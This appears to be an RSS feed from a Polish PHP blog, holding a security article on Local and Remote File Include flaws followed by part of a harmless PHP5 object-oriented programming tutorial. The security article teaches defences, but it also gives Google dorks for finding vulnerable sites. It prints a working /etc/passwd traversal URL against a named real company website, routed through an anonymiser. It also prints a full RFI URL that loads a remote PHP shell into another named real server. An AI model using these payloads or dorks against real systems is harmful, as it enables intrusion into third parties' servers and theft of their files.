<pre class="brush: plain; title: ;">http://strona.pl/index.php?set_lang=polish // do odpowiedniego COOKIE zostanie zapisana wartość 'polish' po czym będzie wczytywany plik 'polish.txt'
http://strona.pl/index.php?set_lang=english // podobnie jak powyżej (zakładając, że obydwa pliki istnieją na serwerze) z tymże zostanie wczytany plik 'english.txt', a zapisana zostanie wartość 'english'</pre>
<p>Niby wszystko ok. Co jednak, jeżeli dokonamy edycji ciasteczka, bądź zmienimy nasz parametr w sposób podobny do <code>http://inna_strona.eu/exp.txt?</code>? Wywołamy z zewnętrznego serwera skrypt o rozszerzeniu <strong>txt</strong>. Tak oto otrzymaliśmy prosty przykład <strong>RFI</strong>. Po co ten znak zapytania na końcu? W celu uznania za parametry wszystkiego co znalazłoby się za nim w naszym adresie po przepuszczeniu w danej funkcji PHP (działa to tylko w przypadku RFI i zależne jest od stosowanej funkcji operującej na pliku), a także w celu uruchomienia danego pliku na serwerze ofiary. W naszym przypadku wynikiem będzie:</p>
<pre class="brush: php; title: ;">$array = file('http://inna_strona.eu/exp.txt?.txt'); // RFI na http://inna_strona.eu/exp.txt</pre>
<p>Drugi przypadek może symbolizować prosty system wczytywania podstron. Przykład może pozornie być uważany za bezpieczny z racji zastosowania <code>switch</code>. Niestety w wypadku jeżeli żaden z jego warunków nie zostanie spełniony w <code>default</code> może zostać wykonany praktycznie dowolny kod.</p>
<pre class="brush: php; title: ;">&lt;?php
[...]
switch ( $_GET['page'] )
{
	case 'index': // gdy GET page == index
		require 'index.php';
		break;
	case 'about': // gdy GET page == about
		require 'about.php';
		break;
	default: // w pozostalych wypadkach zostanie wywolany plik errors/dowolny_ciag.php
		require 'errors/' . $_GET['page'] . '.php';
		break;
}
[...]
?&gt;</pre>
<p>Podobnie jak w pierwszym przykładzie także tutaj możemy spreparować link, tym razem np. w taki sposób, aby uzyskać <strong>LFI</strong>.</p>
<pre class="brush: plain; title: ;">http://strona.pl/index.php?page=../hasla.txt</pre>
<p>Skorzystanie z takiego odnośnika spowoduje wywołanie pliku <strong>hasla.txt</strong> z głównego katalogu serwisu. Nie trzeba długo myśleć, że w taki sposób można mieć dostęp do każdego niezabezpieczonego pliku na serwerze w tym do będącego najczęstszym przykładem <strong>/etc/passwd</strong>.</p>
<h2>Directory Traversal (DA)?</h2>
<p>W powyższych przykładach nie wspomniałem nic o <strong>Path Disclosure</strong>, bo tak inaczej można nazwać <strong>Directory Traversal</strong>. Pozwala ono na otrzymanie dostępu do plików źródłowych lub ujawnienie innych zasobów znajdujących się na lokalnym serwerze. Manipulując żądaniami podobnie jak w przypadku <strong>Local File Include</strong> możemy otrzymać niepowołany dostęp do w.w. zasobów poprzez np. domyślne odwoływanie się do plików szablonów, czy podstron danego serwisu. To czyni z <strong>DA</strong> synonimiczny typ ataku do wspomnianego przed chwilą <strong>LFI</strong>.</p>
<h2>Poison Null Byte jako panaceum na ominięcie zintegrowanych rozszerzeń&#8230;</h2>
<p>Wspomniałem powyżej, że <strong>znak zapytania</strong> na końcu wywoływanego, spreparowanego kodu powoduje w niektórych przypadkach pozbycie się wbudowanego w skrypt rozszerzenia &#8211; o ile takowe istnieje. W praktyce działa to tylko w funkcjach sczytujących zawartości plików zewnętrznych, takich jak np. wspomniane <code>file(args);</code>. Nie zadziała to jednak już np. w przypadku integralnie wczytującego <code>include(arg);</code>.</p>
<pre class="brush: php; title: ;">$a = file(ADRES . '?.php'); // ok - wywoła plik z rozszerzeniem przed ?, a .php potraktuje jako argument
include(ADRES . '?.php'); // nie zadziała - .php będzie rozszerzeniem</pre>
<p>Nasuwają się więc od razu pytania jak sobie poradzić z tym problemem? Czy jest jakiś uniwersalny sposób na przełamanie tego niekiedy przypadkowego zabezpieczenia? Jest i nazywa się <strong>Poison Null Byte</strong>, czyli atak z użyciem bajtu zerowego. Inaczej mówiąc jest to zerowy metaznak w postaci jednej z dwóch następujących form: <strong>%00</strong> lub <strong>%2500</strong>. Drugą z nich używa się w wypadku kiedy strona zabezpieczona jest przed pierwszą. Zamieniamy w nim po prostu <strong>%</strong> na jego szesnastkowy odpowiednik w kodzie ASCII, czyli <strong>%25</strong>. Po dodaniu takiego &#8222;pustego&#8221; znaku automatycznie przekazujemy do skryptu zakończenie danego ciągu (nakazujemy obcięcie reszty znaków), przez co wszystko co po nim występuje jest automatycznie ignorowane przez parser PHP.</p>
<pre class="brush: plain; title: ;">http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%00

http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%2500</pre>
<p>Należy pamiętać, że w PHP poniżej wersji <strong>6.0</strong> przy włączonym ustawieniu <strong>&#8222;magic_quotes_gpc = On&#8221;</strong> zostanie automatycznie przeprowadzona filtracja tego typu ataku. Sama luka wykorzystywana jest <strong>zawsze</strong> w połączeniu z tytularnymi bugami opisywanymi w tym artykule.</p>
<h2>Kiedy jesteśmy narażeni na włamanie?</h2>
<ul>
<li>kiedy <strong>&#8222;magic_quotes_gpc = Off&#8221;</strong> (php.ini) (brak filtracji bajtów zerowych z poziomu ustawień PHP), bądź kiedy nie używamy <strong>addslashes</strong> lub <strong>mysql_real_escape_string</strong> dla poleceń MySQL,</li>
<li>gdy dyrektywa <strong>&#8222;register_globals = On&#8221;</strong> (php.ini), z racji tworzenia z parametru tablic superglobalnych <strong>GET/POST/COOKIES</strong> zmiennej o nazwie tegoż argumentu. Przykład:
<pre class="brush: plain; title: ;">http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt</pre>
<p>Utworzy w skrypcie automatycznie zmienną o następującej wartości:</p>
<pre class="brush: php; title: ;">$page = 'http://inna_strona.eu/exp.txt';</pre>
</li>
<li>w momencie gdy <strong>&#8222;allow_url_fopen = On&#8221;</strong> (php.ini) i/lub <strong>&#8222;allow_url_include = On&#8221;</strong> (php.ini dla funkcji <code>include(arg);</code>, <code>require(arg);</code>, <code>include_once(arg);</code>, <code>require_once(arg);</code> <strong>PHP od wersji 5.2</strong>) które pozwalają na pobieranie w funkcjach operujących na plikach zasobów z zdalnych serwerów lub w momencie kiedy nie blokujemy takiej możliwości bezpośrednio z poziomu skryptu,</li>
<li>kiedy nie zachowujemy podstawowych zasad zachowania bezpieczeństwa w skrypcie w tym wypadku dotyczących ograniczenia korzystania z plików w danych katalogach, o danych rozszerzeniach opierając się o regułę ograniczonego zaufania.</li>
</ul>
<h2>Zagrożenie ze strony modyfikacji kodowania adresu <a target="_blank" href="http://pl.wikipedia.org/wiki/Uniform_Resource_Locator" title="URL Wiki" >URL</a>&#8230;</h2>
<p>Skupmy się na chwilę na samych parametrach skryptu, czyli na <strong>Query String&#8217;u</strong>. Analizując metody zabezpieczeń często zapomina się o filtracji zakodowanej formy adresu na której działanie część serwerów jest narażonych.</p>
<p>Tak więc <strong>../</strong> dla przykładu w heksadecymalnym kodzie ASCII posiada odpowiednik w postaci ciągu <strong>%2e%2e%2f</strong>. Należy zabrać pod uwagę także mieszane formy poprzedniego wzorca, jak np. <strong>..%2f</strong>, <strong>%2e%2e/</strong>, a także formy zgodne z <strong>UTF-8</strong> &#8211; czyli dla przykładu <strong>..%c0%af</strong>. Poniżej przedstawiam tabelę części znaków i ich szesnastkowych odpowiedników ASCII.</p>
<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3216/2935684062_aeca59309b_o.png" alt="Znaki ASCII URI" /></p>
<p>Celem ogólnym tego paragrafu jest zaprezentowanie przeze mnie rzadkich, ale niekiedy możliwych do przeprowadzenia metod w.w. ataków za pomocą użycia procentowych, zakodowanych odpowiedników znaków. Uogólniając należy wyjść naprzeciw temu problemowi poprzez usystematyzowanie formy danych wejściowych na jednolite, najlepiej najbliższe ludzkiemu oku &#8211; czysto znakowe.</p>
<h2>Jak się zabezpieczyć?</h2>
<p>Na początek można odwrócić wartości dotyczące konfiguracji <strong>php.ini</strong> które podałem w paragrafie <strong>&#8222;Kiedy jesteśmy narażeni na włamanie?&#8221;</strong>. Nie mniej jednak <strong>&#8222;allow_url_fopen = Off&#8221;</strong> może być niepowołane w przypadku skryptów docelowo korzystających z jakiegoś zewnętrznego zasobu (np. z danych jakiegoś trackera), a <strong>&#8222;magic_quotes_gpc = On&#8221;</strong> pomimo, że automatycznie przeprowadza pewien poziom filtrowania to nie jest przeze mnie zalecane z powodu kreowania w webdeveloperze złych nawyków. Reszta zmian jest jak najbardziej wskazana.</p>
<p>Jeśli chodzi już o zabezpieczenia z poziomu skryptu to oprę się o dwa na początku artykułu wymienione przykłady.</p>
<p>Na drugim z nich zaprezentuję sposób najbardziej banalny, gdyż ładujący dane za pomocą ID (oparty o wbudowaną listę plików, choć można to oczywiście zrobić na podstawie np. bazy danych).</p>
<pre class="brush: php; title: ;">&lt;?php
function getPageName($page)
{
	$files = array( // zbior dozwolonych plikow
		'index', 'about', '404'
		);
	$counted = count($files);
	// jezeli podany argument jest wiekszy niz 0 i mniejszy lub rowny liczbie dozwolonych plikow
	//	  to zwroc nazwe pliku o tym ID
	// inaczej
	//	  zwroc ostatni dozwolony plik jako blad
	return ( $page &lt;= ( $counted ) &amp;&amp; $page &gt; 0 ? $files[($page-1)] : $files[($counted-1)] );
}
$page = getPageName((int)$_GET['page']); // rzutowanie na typ calkowity i wywolanie funkcji zwracajacej nazwe pliku po ID
switch ( $page )
{
	case '404': // wyjatek w wypadku bledu
		require './errors/404.php';
		break;
	default: // wczytanie przefiltrowanego pliku
		require './' . $page . '.php';
		break;
}
?&gt;</pre>
<p>Przykład banalny i za pewnie przydatny tylko w przypadku małych i prostych skryptów. Wypadałoby go zautomatyzować i na tym będzie się opierał pierwszy przerobiony z wyżej opisanych, niezabezpieczonych kodów.</p>
<p>Oprzemy się tutaj na użyciu funkcji <code>basename()</code> (w celu wyodrębnienia nazwy pliku z całego ciągu), <code>addslashes()</code> (dodaj znaki unikowe), <code>urldecode()</code> (dla zakodowanych procentowych form znaków) oraz <code>html_entity_decode()</code> (aby pozbyć się encji). Przykład zabroni całkowicie pobierania z zewnętrznych serwerów. Jeśli jednak skrypt wymagałby tego to należy <strong>zabronić</strong> użytkownikowi podawania adresu do takowego pliku i po prostu umieścić jego adres na stałe w skrypcie. Ważnym jest też fakt, aby pamiętać, że jeśli ten zdalny plik nie leży na jednym z zarządzanych przez nas serwerów to musimy liczyć się z tym, iż jego zawartość może zmienić się na przeznaczoną do dokonania włamania. <strong>Bezwzględnie powinno się filtrować także zawartość takich plików!</strong></p>
<pre class="brush: php; title: ;">&lt;?php
$files_catalog			  = './'; // katalog z plikami
$lang					  = 'polish'; // domyslny jezyk/plik
if ( isset($_COOKIE['language']) ) // gdy jezyk jest juz ustawiony w cookies
{
	// nadpisanie $lang wartoscia ustawiona wraz z filtracja
	$lang				  = addslashes(basename(html_entity_decode(urldecode($_COOKIE['language']))));
}
else if ( isset($_GET['set_lang']) ) // gdy przekazujemy w parametrze nowy jezyk
{
	// filtracja danych wejsciowych
	$lang				   = addslashes(basename(html_entity_decode(urldecode($_GET['set_lang']))));
	setcookie(&quot;language&quot;, &quot;&quot;, time() - 3600); // usuniecie starego cookie
	setcookie(&quot;language&quot;, $lang, time() + 3600); // wpisanie nowego jezyka do cookies
}
if ( file_exists($files_catalog . $lang . '.txt') ) // wczytanie danych TYLKO gdy plik istnieje
{
	$array = file($files_catalog . $lang . '.txt'); // wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'
}
?&gt;</pre>
<h2>Bo człowiek najlepiej uczy się na przykładach&#8230;</h2>
<p>Szukać opisywanych błędów można w podobny sposób jak w temacie o <a href="http://m1chu.eu/zycie/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd" title="Arbitrary File Download" ><strong>Arbitrary File Download</strong></a> (w slangu tzw. dorki). Pomijając pisane do tego specjalnie skrypty/programy, za pomocą wyszukiwarki. Frazeologia także nie różni się tak bardzo. Opieramy po prostu wyszukiwanie na parametrach skryptu pod którymi może występować luka, takimi jak <strong>f=</strong>, <strong>file=</strong>, <strong>site=</strong>, <strong>page=</strong>, czy <strong>plik=</strong>.</p>
<pre class="brush: plain; title: ;">inurl: &quot;.php?f=&quot;
inurl: &quot;.php?page=&quot;
inurl: &quot;.php?file=&quot;
inurl: &quot;.php?plik=&quot;
inurl: &quot;.php?site=&quot;

inurl:.pl (&quot;.php?page=&quot; OR &quot;.php?plik=&quot;)</pre>
<p>Tak mogłyby wyglądać frazy wyszukiwania <a target="_blank" href="http://www.google.pl/" title="Google" >Google</a>. W tym ostatnim wypadku zawężamy wyszukiwania do domen o rozszerzeniu <strong>.pl</strong> oraz wyszukujemy w nich jedną z dwóch podanych nazw parametrów plików php. Oczywiście nic nie stoi na przeszkodzie, aby przerobić to zapytanie na bliższe własnym potrzebą.</p>
<p>Inny sposobem na wyszukiwanie tego typu błędów jest wpisywanie fraz związanych z ostrzeżeniami funkcji na których luka się opiera (takich jak <code>require()</code>, <code>file()</code>, czy inne wymienione w drugim paragrafie). Niestety jest to metoda zawodna, gdyż nie każda tego typu informacja zwracana w skrypcie jest wykładnikiem błędu i nie zawsze są one także indeksowane przez wyszukiwarki. Można je jednak niekiedy użyć z wcześniej wymienionym sposobem w celu zwiększenia prawdopodobieństwa, że wykryty przez nas domniemany błąd jest nim naprawdę.</p>
<pre class="brush: plain; title: ;">Warning: require()
Warning: file()
Warning: fopen()
Warning: file_get_contents()</pre>
<p>Największe prawdopodobieństwo trafienia na podatny kod ostrzeżenie na stronie powinno wyglądać mniej więcej jak to (należy zwrócić uwagę na rozszerzenie otwieranego pliku oraz rodzaj funkcji wczytującej pliki):</p>
<pre class="brush: plain; title: ;">Warning: include() [function.include]: Failed opening '...php' for inclusion (include_path='.:/usr/share/pear') in /adres_wzgledny/index.php on line 13</pre>
<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3025/2952278149_295638be67_o.png" alt="Path Disclosure App" /></p>
<pre class="brush: plain; title: ;">inurl:automotive.co.uk (&quot;.php?site=&quot; OR &quot;.php?file=&quot; OR &quot;.php?page=&quot; OR &quot;.php?f=&quot;)</pre>
<p>W taki oto sposób, po ciut przypadkowych poszukiwaniach otrzymałem przykład nieodpowiednio zabezpieczonego skryptu.</p>
<pre class="brush: plain; title: ;">http://www.riverside-automotive.co.uk/index.php?f=data_home&amp;a=9</pre>
<p>Link z pierwszej strony wyników. Dla pewności sprawdziłem występowanie luki poprzez <a target="_blank" href="http://utnij.eu/file_disclosure_scanner/" title="Path Disclosure" >jeden</a> z krążących po internecie programów do ich wykrywania (po czym przetestowałem ponownie napisanym <a href="http://dev.m1chu.eu/index.php?title=Include_File_Disclosure_Scanner"  title="Include File Disclosure Scanner"><strong>przeze mnie</strong></a> skanerem &#8211; jest to wersja rozwojowa więc może mieć ciut błędów &#8211; wymaga minimum <a target="_blank" href="http://utnij.eu/net_2/"  title=".NET Framework 2.0">.NET Framework 2.0</a> &#8211; więcej w komentarzach). Rezultat pozytywny &#8211; &#8222;mission completed&#8221; :D</p>
<pre class="brush: plain; title: ;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.riverside-automotive.co.uk/index.php?f=../../../../../../../../etc/passwd</pre>
<p>Pewnie niektórzy drapią się z Was po głowie, dlaczego ten punkt opisałem &#8222;po łebkach&#8221;. Wszystko ze względu, że metodologia wykrywania tego typu bugów jest praktycznie taka sama jak w przypadku poprzednio opisywanej przeze mnie problematyki zabezpieczeń (wspomniane już dwukrotnie AFD).</p>
<p>I na koniec przykładowy link działania zewnętrznego shella (skrypt wykonywany zdalnie &#8211; z innego serwera &#8211; przykładami są: <strong>r57.php</strong>, <strong>s72.php</strong>, czy <strong>c99.php</strong>) wobec RFI, już bez zbędnego opisu. Jak zwykle zaznaczam także, że wszelkie przykłady zamieszczone w tymże, a także w kolejnych artykułach są na zasadach edukacyjnych. <strong>Proszę nie wykorzystywać ich do jakiegokolwiek niszczenia prac autorów zamieszczonych tu stron!</strong></p>
<pre class="brush: plain; title: ;">Podatna strona: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=
Przykładowy shell: http://www.mykr.net/bbs/id.txt?
// Shell wykorzystywany na utnij.eu
Pełny adres: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.mykr.net/bbs/id.txt?</pre>
<p>Jeśli ktoś chce zobaczyć konstrukcję shellów, to zapraszam na <a target="_blank" href="http://utnij.eu/" title="Prawdopodobnie najlepszy serwis do skracania linków" >utnij.eu</a>, gdzie w statystykach skróconych ostatnio odnośników można znaleźć wiele tego typu skryptów, co jest wynikiem prób jakiś osobników shackowania tego serwisu. Jak na razie bezowocnych&#8230; na szczęście&#8230;</p>
<p>PS: zapraszam wszystkich chętnych do luźnych rozmów nie tylko o programowaniu, także wszelkich programistów i grafików, a uogólniając każdą osobę która lubi prowadzić dialog i dłuższe przesiadywanie na IRC-u na kanał <strong>#thenet</strong> serwerów <strong>after-all.org</strong> (#thenet@irc.after-all.org).</p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2008/10/19/jak-zabezpieczyc-skrypt-php-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Wstęp do programowania zorientowanego obiektowo w PHP5&#8230;</title>
		<link>http://m1chu.eu/2008/09/15/wstep-do-programowania-zorientowanego-obiektowo-w-php5/</link>
		<comments>http://m1chu.eu/2008/09/15/wstep-do-programowania-zorientowanego-obiektowo-w-php5/#comments</comments>
		<pubDate>Mon, 15 Sep 2008 18:47:31 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webhosting]]></category>
		<category><![CDATA[instancja]]></category>
		<category><![CDATA[kapsułkowanie]]></category>
		<category><![CDATA[klasa]]></category>
		<category><![CDATA[metoda]]></category>
		<category><![CDATA[obiekt]]></category>
		<category><![CDATA[object oriented programming]]></category>
		<category><![CDATA[oop]]></category>
		<category><![CDATA[php5]]></category>

		<guid isPermaLink="false">http://m1chu.eu/?p=54</guid>
		<description><![CDATA[Piąta odsłona PHP w porównaniu z poprzednią jest w pełni funkcjonalnym, zorientowanym obiektowo językiem. Z fundamentalnego punktu widzenia OOP (skrót od Object Oriented Programming) jest koncepcją grupowania danych i kodu w logiczne całości zwane po prostu klasami. Tematyka ta wiąże się z takimi pojęciami jak deklaracja klasy, tworzenie instancji obiektu, metody, właściwości, kapsułkowanie, stałe klasy, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="iborder" src="http://farm4.static.flickr.com/3096/3171743182_1ab2ffae51_o.png" alt="OOP cz. 1" /></p>
<p>Piąta odsłona PHP w porównaniu z poprzednią jest w pełni funkcjonalnym, zorientowanym obiektowo językiem. Z fundamentalnego punktu widzenia <strong>OOP</strong> (skrót od <em>Object Oriented Programming</em>) jest koncepcją grupowania danych i kodu w logiczne całości zwane po prostu <strong>klasami</strong>. Tematyka ta wiąże się z takimi pojęciami jak deklaracja klasy, tworzenie <a target="_blank" href="http://utnij.eu/instancja-prog-wiki/"  title="Instancja - programowanie - wikipedia">instancji</a> <a target="_blank" href="http://utnij.eu/obiekt-oop-wiki/"  title="Obiekt - OOP - wikipedia">obiektu</a>, metody, właściwości, kapsułkowanie, stałe klasy, czy metody i właściwości statyczne. I to właśnie te elementy będę starał się Wam łatwo, prosto i przyjemnie zaprezentować tym razem.</p>
<p><span id="more-54"></span></p>
<ul>
<li><strong>Deklaracja klasy, tworzenie, klonowanie oraz niszczenie instancji obiektu na przebudzenie&#8230;</strong></li>
</ul>
<p>Klasa jest reprezentacją <strong>metod</strong> (nazywanych także funkcjami) i <strong>właściwości</strong> (nazywanych także z nieobiektowych aplikacji, czy skryptów po prostu zmiennymi). Zbiór klas ma na celu stworzyć ogólny, współdziałający interfejs dla przyszłych użytkowników. Sama klasa w sobie, pomijając pewne zastosowania statyczne jest tylko kontenerem, projektem dla mniejszych paczek których jest reprezentacją. Użyć je można oczywiście poprzez utworzenie instancji na obiekcie, których można wykreować dowolnie dużo.</p>
<p>Pojęciem od którego zaczniemy jest deklaracja klasy, w najprostszej postaci wyglądająca tak:</p>
<pre class="brush: php; title: ;">&lt;?php
class mojaKlasa {
	// zawartosc klasy w postaci metod, wartosci czy stalych
}
?&gt;</pre>
<p>Kiedy już wykonamy powyższą deklarację, możemy przystąpić do instancjonowania obiektu, które zgoła jest tak samo proste jak poprzednia czynność.</p>
<pre class="brush: php; title: ;">$instancja = new mojaKlasa(); // za pomocą konstrukcji new</pre>
<p>Ponieważ obiekt, w tym wypadku do zmiennej <strong>$instancja</strong> przekazywany jest zawsze jako uchwyt (w praktycznym podejściu można uważać, że jako referencja) możliwe jest bezproblemowe skopiowanie instancji do innej zmiennej poprzez ich zwyczajne przyrównanie. To rozróżnia zmienną <strong>$instancja</strong> od zwykłych zmiennych dla których dane przekazywane są jako wartość. Ważnym jest, że poprzez taki zabieg instancje odnoszą się do jednej klasy, więc zmiana danych poprzez jedną z nich automatycznie powoduje zmianę w drugiej. Można tego uniknąć poprzez klonowanie obiektu używając operatora <strong>clone</strong> (ponieważ dla nowej powielonej instancji zostanie zaalokowana nowa przestrzeń pamięci to zmiany na pierwotnej zmiennej przetrzymującej obiekt nie będę się odbijać na sklonowanej).</p>
<pre class="brush: php; title: ;">$instancja = new klasa();
$instancja-&gt;var = 'X';
$nowa_instancja = $instancja; // kopiowanie instancji, obydwie zmienne będą wskazywać na ten sam obiekt
$nowa_instancja-&gt;var = 'Z';

echo $instancja-&gt;var; // zwroci Z
echo $nowa_instancja-&gt;var; // zwroci Z
[...]
$instancja = new klasa();
$instancja-&gt;var = 'X';
$sklonowana_instanca = clone $instancja; // klon instancji
$sklonowana_instancja = 'Z';

echo $instancja-&gt;var; // zwroci X
echo $sklonowana_instancja-&gt;var // zwroci Z</pre>
<p>Instancja zostaje zniszczona automatycznie po wygenerowaniu całego skryptu. Nie mniej jednak gdybyśmy potrzebowali zrobić to ręcznie to służy do tego funkcja <strong>unset(parametr);</strong>.</p>
<pre class="brush: php; title: ;">unset($instancja);</pre>
<p>Nie mnie jednak należy pamiętać, że jeśli w międzyczasie skopiujemy instancję tak jak to pokazałem powyżej to obiekt nie zostanie zniszczony dopóki nie usuniemy wszystkich zmiennych będących instancją danego obiektu.</p>
<ul>
<li><strong>Śniadanie z dziedziczeniem&#8230;</strong></li>
</ul>
<p>Żeby przejść do metod i właściwości niezbędne jest zapoznanie się z <strong>dziedziczeniami</strong> dostępnymi w OOP. Dziedziczenie pozwala na bezpośrednie korzystanie z zasobów jednej klasy przez inne, dodawanie nowych funkcji i zmiennych, a ostatecznie jeżeli nie ogranicza tego specjalny parametr metod lub klasy z której się dziedziczy także przedefiniowanie niektórych zasobów. A wszystko dzięki umieszczeniu w linii deklaracji klasy która ma dziedziczyć <strong>extends klasa_dziedziczona</strong>.</p>
<pre class="brush: php; title: ;">&lt;?php
// w przykladzie pominieto typy hermetyzacji metod z racji tego, ze zostana one omowione w nastepnym dziale - przyjmijmy domyślnie więc, że są one publiczne, dostępne z każdego miejsca skryptu po utworzeniu instancji

class klasaDziedziczona {
	function metodaA()
	{
		print 'wywolano -&gt; klasaDziedziczona::metodaA';
	}

	function metodaB()
	{
		print 'wywolano -&gt; klasaDziedziczona::metodaB';
	}
}

class klasaDziedziczacaA extends klasaDziedziczona { // klasaDziedziczacaA dziedziczy z klasaDziedziczona
	function metodaA()
	{
		print 'wywolano -&gt; klasaDziedziczacaA::metodaA';
	}
}

class klasaDziedziczacaB extends klasaDziedziczona { // klasaDziedziczacaB dziedziczy z klasaDziedziczona
	function metodaA()
	{
		print parent::metodaB();
	}

	function metodaB()
	{
		print 'wywolano -&gt; klasaDziedziczacaB::metodaA';
	}

	function metodaX()
	{
		print 'wywolano -&gt; klasaDziedziczacaB::metodaX';
	}
}

class klasaDziedziczacaC extends klasaDziedziczacaA { // klasaDziedziczacaC dziedziczy z klasaDziedziczacaA (zarazem może mieć dostęp do klasy bazowej klasaDziedziczona)
	function metodaA()
	{
		print 'wywolano -&gt; klasaDziedziczacaC::metodaA';
	}

	function metodaB()
	{
		print parent::metodaB();
	}

	function metodaC()
	{
		print klasaDziedziczona::metodaB();
	}

	function metodaD()
	{
		print klasaDziedziczacaB::metodaX();
	}
}

$klasa		= new klasaDziedziczona();
$klasaA		= new klasaDziedziczacaA();
$klasaB		= new klasaDziedziczacaB();
$klasaC		= new klasaDziedziczacaC();

$klasa-&gt;metodaA(); // zwroci wywolano -&gt; klasaDziedziczona::metodaA
$klasa-&gt;metodaB(); // zwroci wywolano -&gt; klasaDziedziczona::metodaB
$klasaA-&gt;metodaA(); // zwroci wywolano -&gt; klasaDziedziczacaA::metodaA
$klasaB-&gt;metodaA(); // zwroci wywolano -&gt; klasaDziedziczona::metodaB
$klasaB-&gt;metodaB(); // zwroci wywolano -&gt; klasaDziedziczacaB::metodaB
$klasaC-&gt;metodaA(); // zwroci wywolano -&gt; klasaDziedziczacaC::metodaA
$klasaC-&gt;metodaB(); // zwroci wywolano -&gt; klasaDziedziczona::metodaB
$klasaC-&gt;metodaC(); // zwroci wywolano -&gt; klasaDziedziczona::metodaB
$klasaC-&gt;metodaD(); // zwroci wywolano -&gt; klasaDziedziczacaB::metodaX
?&gt;</pre>
<p>Kilka słów wyjaśnienia. Z klasy nadrzędnej dziedziczą bezpośrednio dwie kolejne: <strong>klasaDziedziczacaA</strong> i <strong>klasaDziedziczacaB</strong>. W pierwszej z nich występuje metoda nadpisująca metodę z klasy dziedziczonej (prościej mówiąc, o tej samej nazwie), przez co wywołanie <strong>$klasaA->metodaA();</strong> powoduje, że otrzymujemy treść z klasy dziedziczącej, a nie dziedziczonej. W drugiej z tych klas miałem zamiar w metodzie <strong>metodaA()</strong> pokazać użycie operatora zasięgu <strong>::</strong> i słowa <strong>parent</strong>. Pozwala ono nam na dostęp do nadpisanych metod w klasie z której dziedziczymy (a w wypadku ciągu klas dziedziczonych po sobie z najwyższego rodzica). W tym wypadku jest to nam potrzebne, gdyż nadpisanie następuje właśnie w klasie w której się znajdujemy w metodzie <strong>metodaB()</strong>. No i ostatecznie w klasie <strong>klasaDziedziczacaC</strong> jest pokazane jak odnieść się do metody rodzica z poziomu któregoś dziedziczenia z rzędu, a także jak statycznie wywołać metody które znajdują się w klasie rodzica lub w klasach pośredniczących.</p>
<p>Ktoś mógłby teraz spytać dlaczego nie użyłem wielokrotnego dziedziczenia. Takowe występuje tylko w przypadku interfejsów, o czym wspomnę za pewnie w następnej części artykułu. Oczywiście dałoby się to pośrednio za pomocą dostępnych w PHP narzędzi ominąć, ale to już temat na osobny wpis z omówieniem takowej metody.</p>
<p>Jest także jeszcze jedna metodyka korzystania z dziedziczenia. Polega ona na tworzeniu instancji tylko obiektu klasy dziedziczącej.</p>
<pre class="brush: php; title: ;">&lt;?php
// w przykladzie pominieto typy hermetyzacji metod z racji tego, ze zostana one omowione w nastepnym dziale - przyjmijmy domyślnie więc, że są one publiczne, dostępne z każdego miejsca skryptu po utworzeniu instancji

class klasaDziedziczona {
	function metodaA()
	{
		print 'wywolano -&gt; klasaDziedziczona::metodaA';
	}

	function metodaX()
	{
		print 'wywolano -&gt; klasaDziedziczona::metodaX';
	}
}

class klasaDziedziczaca extends klasaDziedziczona {
	function metodaA()
	{
		print 'wywolano -&gt; klasaDziedziczaca::metodaA';
	}

	function metodaB()
	{
		print parent::metodaA();
	}
}

$instancja	= new klasaDziedziczaca();

$instancja-&gt;metodaA(); // zwroci wywolano -&gt; klasaDziedziczaca::metodaA
$instancja-&gt;metodaB(); // zwroci wywolano -&gt; klasaDziedziczona::metodaA
$instancja-&gt;metodaX(); // zwroci wywolano -&gt; klasaDziedziczona::metodaX
?&gt;</pre>
<p>Jak widać na ostatnim użyciu metody bez problemu można korzystać z nieprzedefiniowanych danych klasy bazowej. Należy także wiedzieć, że metody magiczne (o których będzie poniżej) takie jak <strong>__construct</strong> wyszukiwane są od najniższej klasy dziedziczącej, aż do napotkania pierwszej metody danego typu. Przykładowa, wymieniona przed chwilą metoda konstrukcji wykonywana jest w klasie bazowej jedynie, jeżeli nie znajduje się w żadnej z potomnych jej klas. Można je podpiąć więc pod zasadę nadpisywania, inaczej przedefiniowania. Więcej o tym będzie poniżej.</p>
<ul>
<li><strong>Na deser zasady działania metod i właściwości&#8230;</strong></li>
</ul>
<p>Na początek wypadałoby poruszyć temat wspomnianego kapsułkowania lub bardziej z angielskiego &#8211; <strong>enkapsulacji</strong>. Polega ona na pewnym ukryciu danych w postaci zmiennych klasy, bądź jej funkcji w taki sposób, aby były one widoczne tylko i wyłącznie w funkcjach zaprzyjaźnionych, klasach dziedziczących lub metodach tej samej klasy (występuje wtedy tzw. <strong>pełna hermetyzacja</strong>). Z poniższych czterech typów pierwsze trzy mogą, lecz nie muszą łączyć się z czwartą w pary (tworząc np. metody chronione-finalne).</p>
<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3005/2855437121_e0111cb030_o.png" alt="Zobrazowanie kapsułkowania" /></p>
<p>Gdybyśmy mieli umieścić pustą, przykładową metodę wewnątrz w.w. klasy to wyglądałaby ona np. tak:</p>
<pre class="brush: php; title: ;">&lt;?php
class mojaKlasa {
	public function wyswietlWartosc() // metoda publiczna dostępna z każdego miejsca
	{
		return 1;
	}
}
?&gt;</pre>
